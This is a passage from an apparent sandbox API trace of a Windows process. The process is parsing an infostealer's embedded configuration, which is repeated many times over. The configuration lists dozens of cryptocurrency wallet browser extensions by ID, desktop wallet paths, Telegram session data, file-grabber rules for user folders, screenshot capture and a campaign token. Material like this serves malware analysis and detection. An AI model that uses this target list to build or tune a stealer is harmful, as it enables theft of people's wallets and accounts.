Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.279] lstrlenW (lpString="green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3926 [0266.279] LocalAlloc (uFlags=0x40, uBytes=0x1f2c) returned 0x6f4830 [0266.279] StrCpyW (in: psz1=0x700f70, psz2="28" | out: psz1="28") returned="28" [0266.279] LocalFree (hMem=0x6f4830) returned 0x0 [0266.279] StrStrW (lpFirst="Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.279] lstrlenW (lpString="green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3926 [0266.279] LocalAlloc (uFlags=0x40, uBytes=0x1f2c) returned 0x6f4830 [0266.279] StrCpyW (in: psz1=0x7038b8, psz2="Blockstream\\Green" | out: psz1="Blockstream\\Green") returned="Blockstream\\Green" [0266.280] LocalFree (hMem=0x6f4830) returned 0x0 [0266.280] StrStrW (lpFirst="*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension 